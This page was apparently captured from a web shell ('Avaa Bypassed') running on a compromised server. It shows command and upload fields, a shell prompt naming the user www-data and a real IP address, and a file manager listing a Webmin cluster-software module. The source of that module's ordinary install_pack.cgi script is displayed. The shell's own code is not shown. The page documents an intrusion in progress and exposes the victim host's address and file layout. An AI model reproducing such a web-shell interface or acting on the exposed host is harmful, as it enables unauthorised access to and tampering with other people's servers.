[ Avaa Bypassed ]




Upload:

Command:

www-data@3.148.202.164: ~ $
#!/usr/bin/perl
# install_pack.cgi
# Install a package from some source

require './cluster-software-lib.pl';
if ($ENV{REQUEST_METHOD} eq "POST") {
	&ReadParse(\%getin, "GET");
	&ReadParseMime(undef, \&read_parse_mime_callback, [ $getin{'id'} ]);
	}
else {
	&ReadParse();
	$no_upload = 1;
	}
&error_setup($text{'install_err'});

if ($in{source} == 2) {
	&ui_print_unbuffered_header(undef, $text{'install_title'}, "", "install_pack");
	}
else {
	&ui_print_header(undef, $text{'install_title'}, "", "install_pack");
	}

if ($in{source} == 0) {
	# installing from local file (or maybe directory)
	if (!$in{'local'})
		{ &install_error($text{'install_elocal'}); }
	if (!-r $in{'local'})
		{ &install_error(&text('install_elocal2', $in{'local'})); }
	$source = $in{'local'};
	$pfile = $in{'local'};
	$filename = $in{'local'};
	$filename =~ s/^(.*)[\\\/]//;
	$need_unlink = 0;
	}
elsif ($in{source} == 1) {
	# installing from upload .. store file in temp location
	if ($no_upload) {
		&install_error($text{'install_eupload'});
		}
	$in{'upload_filename'} =~ /([^\/\\]+$)/;
	$filename = $in{'upload_filename'};
	$filename =~ s/^(.*)[\\\/]//;
	$pfile = &tempname("$1");
	&open_tempfile(PFILE, ">$pfile");
	&print_tempfile(PFILE, $in{'upload'});
	&close_tempfile(PFILE);
	$source = $in{'upload_filename'};
	$need_unlink = 1;
	}
elsif ($in{source} == 2) {
	# installing from URL.. store downloaded file in temp location
	$in{'url'} =~ /\/([^\/]+)\/*$/;
	$pfile = &tempname("$1");
	$progress_callback_url = $in{'url'};
	if ($in{'url'} =~ /^(http|https):\/\/([^\/]+)(\/.*)$/) {
		# Make a HTTP request
		$ssl = $1 eq 'https';
		$host = $2; $page = $3; $port = $ssl ? 443 : 80;
		if ($host =~ /^(.*):(\d+)$/) { $host = $1; $port = $2; }
		&http_download($host, $port, $page, $pfile, \$error,
			       \&progress_callback, $ssl);
		}
	elsif ($in{'url'} =~ /^ftp:\/\/([^\/]+)(:21)?(\/.*)$/) {
		$host = $1; $file = $3;
		&ftp_download($host, $file, $pfile, \$error,
			      \&progress_callback);
		}
	else { &install_error(&text('install_eurl', $in{'url'})); }
	&install_error($error) if ($error);
	$source = $in{'url'};
	$need_unlink = 1;
	$filename = $in{'url'};
	$filename =~ s/^(.*)[\\\/]//;
	}
elsif ($in{source} == 3) {
	# installing from some update system, so nothing to do here
	$pfile = $in{'update'};
	@rv = map { $_." ".$_ } split(/\s+/, $in{'update'});
	}

# Check if any remote systems are using the same package system
@anysame = grep { &same_package_system($_) } &list_software_hosts();
@anydiff = grep { !&same_package_system($_) } &list_software_hosts();

# Check validity, if we can
$invalid_msg = undef;
if ($in{'source'} != 3) {
	$ps = &software::package_system();
	if (!&software::is_package($pfile)) {
		if (-d $pfile) {
			&install_error(&text('install_edir', $ps));
			}
		else {
			# attempt to uncompress
			local $unc = &software::uncompress_if_needed(
				$pfile, $need_unlink);
			if ($unc ne $pfile) {
				# uncompressed ok..
				if (!&software::is_package($unc)) {
					# but still not valid :(
					unlink($unc);
					$invalid_msg =
						&text('install_ezip', $ps);
					}
				else {
					$pfile = $unc;
					}
				}
			else {
				# uncompress failed.. give up
				$invalid_msg = &text('install_efile', $ps);
				}
			}
		}

	if (!$invalid_msg) {
		# ask for package to install and install options
		@rv = &software::file_packages($pfile);
		}
	}

if ($invalid_msg) {
	# Could not check package .. but this is OK if we have any remote
	# systems of different types
	if (@anydiff) {
		$filename =~ s/\.[a-z]+$//i;
		@rv = ( $filename );
		$unknownfile = $filename;
		}
	else {
		unlink($pfile) if ($need_unlink);
		&install_error($invalid_msg);
		}
	}

# Show install form
print &ui_form_start("do_install.cgi");
print &ui_hidden("file", $pfile);
print &ui_hidden("unknownfile", $unknownfile);
print &ui_hidden("need_unlink", $need_unlink);
print &ui_hidden("source", $in{'source'});
print &ui_hidden("ssl", $ssl);
print &ui_hidden("host", $host);
print &ui_hidden("page", $page);
print &ui_hidden("port", $port);
print &ui_hidden("ftpfile", $file);
print &ui_hidden("down", $in{'down'});
print &ui_table_start($text{'install_header'}, undef, 4);

# Packages to install
$plist = "";
foreach (@rv) {
	($p, $d) = split(/\s+/, $_, 2);
	if ($d && $d ne $p) {
		$plist .= &html_escape($d)." (".&html_escape($p).")<br>\n";
		}
	else {
		$plist .= &html_escape($p)."<br>\n";
		}
	}
print &ui_table_row($text{'install_packs'}, $plist, 3);

# Type-specific options
if ($in{'source'} != 3 && !@anydiff) {
	&software::install_options($pfile, $p);
	}

# Show input for hosts to install on
&create_on_input($text{'install_servers'},
		 $in{'source'} == 3, $in{'source'} == 3);

print &ui_table_end();
print &ui_form_end([ [ undef, $text{'install_ok'} ] ]);


&ui_print_footer("", $text{'index_return'});

sub install_error
{
print "<b>$main::whatfailed : $_[0]</b> <p>\n";
&ui_print_footer("", $text{'index_return'});
exit;
}


Filemanager

Name Type Size Permission Actions
help Folder 0755
images Folder 0755
lang Folder 0755
CHANGELOG File 1.01 KB 0644
add.cgi File 904 B 0755
close.cgi File 272 B 0755
closeall.cgi File 179 B 0755
cluster-software-lib.pl File 9.51 KB 0755
compare.cgi File 1.81 KB 0755
compare_form.cgi File 1.13 KB 0755
config File 25 B 0644
config.info File 108 B 0644
config.info.ca File 133 B 0644
config.info.cs File 82 B 0644
config.info.de File 125 B 0644
config.info.es File 90 B 0644
config.info.fr File 134 B 0644
config.info.hr File 0 B 0644
config.info.ms File 131 B 0644
config.info.nl File 130 B 0644
config.info.no File 129 B 0644
config.info.pl File 121 B 0644
defaultacl File 6 B 0644
delete_host.cgi File 254 B 0755
delete_pack.cgi File 3.15 KB 0755
delete_packs.cgi File 2.86 KB 0755
do_install.cgi File 7.11 KB 0755
do_install_serial.cgi File 3.55 KB 0755
edit_host.cgi File 3.84 KB 0755
edit_pack.cgi File 3.33 KB 0755
index.cgi File 4.87 KB 0755
install_pack.cgi File 4.82 KB 0755
list_pack.cgi File 2.28 KB 0755
module.info File 427 B 0644
module.info.af File 0 B 0644
module.info.af.auto File 154 B 0644
module.info.ar File 0 B 0644
module.info.ar.auto File 201 B 0644
module.info.be File 0 B 0644
module.info.be.auto File 282 B 0644
module.info.bg File 0 B 0644
module.info.bg.auto File 251 B 0644
module.info.ca File 155 B 0644
module.info.ca.auto File 31 B 0644
module.info.cs File 40 B 0644
module.info.cs.auto File 122 B 0644
module.info.da File 0 B 0644
module.info.da.auto File 153 B 0644
module.info.de File 133 B 0644
module.info.de.auto File 25 B 0644
module.info.el File 0 B 0644
module.info.el.auto File 263 B 0644
module.info.es File 39 B 0644
module.info.es.auto File 119 B 0644
module.info.eu File 0 B 0644
module.info.eu.auto File 141 B 0644
module.info.fa File 0 B 0644
module.info.fa.auto File 228 B 0644
module.info.fi File 0 B 0644
module.info.fi.auto File 156 B 0644
module.info.fr File 41 B 0644
module.info.fr.auto File 139 B 0644
module.info.he File 0 B 0644
module.info.he.auto File 186 B 0644
module.info.hr File 0 B 0644
module.info.hr.auto File 155 B 0644
module.info.hu File 33 B 0644
module.info.hu.auto File 125 B 0644
module.info.it File 0 B 0644
module.info.it.auto File 147 B 0644
module.info.ja File 0 B 0644
module.info.ja.auto File 228 B 0644
module.info.ko File 0 B 0644
module.info.ko.auto File 193 B 0644
module.info.lt File 0 B 0644
module.info.lt.auto File 181 B 0644
module.info.lv File 0 B 0644
module.info.lv.auto File 165 B 0644
module.info.ms File 119 B 0644
module.info.ms.auto File 25 B 0644
module.info.mt File 0 B 0644
module.info.mt.auto File 158 B 0644
module.info.nl File 35 B 0644
module.info.nl.auto File 122 B 0644
module.info.no File 35 B 0644
module.info.no.auto File 115 B 0644
module.info.pl File 132 B 0644
module.info.pl.auto File 33 B 0644
module.info.pt File 0 B 0644
module.info.pt.auto File 154 B 0644
module.info.pt_BR File 0 B 0644
module.info.pt_BR.auto File 163 B 0644
module.info.ro File 0 B 0644
module.info.ro.auto File 152 B 0644
module.info.ru File 0 B 0644
module.info.ru.auto File 278 B 0644
module.info.sk File 0 B 0644
module.info.sk.auto File 162 B 0644
module.info.sl File 0 B 0644
module.info.sl.auto File 159 B 0644
module.info.sv File 0 B 0644
module.info.sv.auto File 151 B 0644
module.info.th File 0 B 0644
module.info.th.auto File 351 B 0644
module.info.tr File 0 B 0644
module.info.tr.auto File 159 B 0644
module.info.uk File 0 B 0644
module.info.uk.auto File 272 B 0644
module.info.ur File 0 B 0644
module.info.ur.auto File 235 B 0644
module.info.vi File 0 B 0644
module.info.vi.auto File 162 B 0644
module.info.zh File 0 B 0644
module.info.zh.auto File 131 B 0644
module.info.zh_TW File 0 B 0644
module.info.zh_TW.auto File 140 B 0644
open.cgi File 250 B 0755
openall.cgi File 427 B 0755
prefs.info File 28 B 0644
refresh.cgi File 1.61 KB 0755
search.cgi File 1.92 KB 0755